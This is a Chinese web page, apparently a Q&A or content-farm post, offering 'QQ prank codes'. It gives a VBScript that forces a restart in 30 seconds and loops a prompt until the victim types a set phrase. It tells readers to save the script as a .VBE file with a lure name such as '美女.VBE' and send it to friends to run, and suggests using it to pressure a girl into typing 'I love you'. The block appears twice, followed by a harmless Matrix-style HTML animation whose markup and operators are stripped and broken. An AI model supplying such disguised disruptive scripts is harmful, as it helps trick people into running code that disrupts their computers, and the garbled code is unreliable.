手机QQ的整人代码大全

第一步，将以下代码复制到记事本中。

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特，不说就30秒关你机，不信，试试···"" ",0 ,true

dim a

do while(a "潮流哥特")

a = inputbox ("说潮流哥特,不然就不关机，快撒，说 ""潮流哥特"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

上面的文字可以随便改，不印象效果。如果发给MM，你可以逼她说“我爱你”。方法是把上面的“QQ客是好网站”改成“快说我爱你” 内容来自

第二步，将记事本文件重命名为 ***.VBE（文件名可以任意起，如“美女.VBE”）

如果谁运行了这个QQ炸弹，在30秒后会自动关机。

下面说一下使用方法：

最简单的使用方法是，你直接发给好友，让他运行，然后他就中招了。

WScript.Echo("谁令你打开这个软件的")

WScript.Echo("这个软件会让你无聊啊！")

WScript.Echo("推荐你来的肯定是个坏蛋！")

WScript.Echo("欢迎来到被整软件站！")

WScript.Echo("是谁设计的？")

WScript.Echo("Is me")

WScript.Echo("你好，你要点30次确定哦！")

WScript.Echo("1")

WScript.Echo("2")

WScript.Echo("3")

WScript.Echo("begin")

手机qq整人代码大全谁有？ 发一下 谢谢

第一步，将以下代码复制到记事本中。

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特，不说就30秒关你机，不信，试试···"" ",0 ,true

dim a

do while(a "潮流哥特")

a = inputbox ("说潮流哥特,不然就不关机，快撒，说 ""潮流哥特"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

上面的文字可以随便改，不印象效果。如果发给MM，你可以逼她说“我爱你”。方法是把上面的“QQ客是好网站”改成“快说我爱你” 内容来自

第二步，将记事本文件重命名为 ***.VBE（文件名可以任意起，如“美女.VBE”）

如果谁运行了这个QQ炸弹，在30秒后会自动关机。

下面说一下使用方法：

最简单的使用方法是，你直接发给好友，让他运行，然后他就中招了。

WScript.Echo("谁令你打开这个软件的")

WScript.Echo("这个软件会让你无聊啊！")

WScript.Echo("推荐你来的肯定是个坏蛋！")

WScript.Echo("欢迎来到被整软件站！")

WScript.Echo("是谁设计的？")

WScript.Echo("Is me")

WScript.Echo("你好，你要点30次确定哦！")

WScript.Echo("1")

WScript.Echo("2")

WScript.Echo("3")

WScript.Echo("begin")

求"黑客帝国"里电脑屏幕上的"代码"不间断滚动的代码,

把下面复制到记事本，另存为HTML文件。你可以自己DIY一下。

html

head

title类似黑客帝国的01数字流/title

/head

body bgcolor=#000000

script language="JavaScript"

!--

if (document.all){

Cols=6;

Cl=24;//Space's are included so real length is 48!

Cs=10;

Ts=10;

Tc='#008800';

Tc1='#00ff00';

MnS=20;

MxS=30;

I=Cs;

Sp=new Array();S=new Array();Y=new Array();

C=new Array();M=new Array();B=new Array();

RC=new Array();E=new Array();Tcc=new Array(0,1);

document.write("div id='Container' style='position:absolute;top:0;left:-"+Cs+"'");

document.write("div style='position:relative'");

for(i=0; i Cols; i++){

S[i]=I+=Cs;

document.write("div id='A' style='position:absolute;top:0;font-family:Arial;font-size:"

+Ts+"px;left:"+S[i]+";width:"+Ts+"px;height:0px;color:"+Tc+";visibility:hidden'/div");

}

document.write("/div/div");

for(j=0; j Cols; j++){

RC[j]=1+Math.round(Math.random()*Cl);

Y[j]=0;

Sp[j]=Math.round(MnS+Math.random()*MxS);

for(i=0; i RC[j]; i++){

B[i]='';

C[i]=Math.round(Math.random()*1)+' ';

M[j]=B[0]+=C[i];

}

}

function Cycle(){

Container.style.top=window.document.body.scrollTop;

for (i=0; i Cols; i++){

var r = Math.floor(Math.random()*Tcc.length);

E[i] = 'font color='+Tc1+''+Tcc[r]+'/font';

Y[i]+=Sp[i];

if (Y[i] window.document.body.clientHeight){

for(i2=0; i2 Cols; i2++){

RC[i2]=1+Math.round(Math.random()*Cl);

for(i3=0; i3 RC[i2]; i3++){

B[i3]='';

C[i3]=Math.round(Math.random()*1)+' ';

C[Math.floor(Math.random()*i2)]=' '+' ';

M[i]=B[0]+=C[i3];

Y[i]=-Ts*M[i].length/1.5;

A[i].style.visibility='visible';

}

Sp[i]=Math.round(MnS+Math.random()*MxS);

}

}

A[i].style.top=Y[i];

A[i].innerHTML=M[i]+' '+E[i]+' ';

}

setTimeout('Cycle()',20)

}

Cycle();

}

// --

/script

body

/body

/html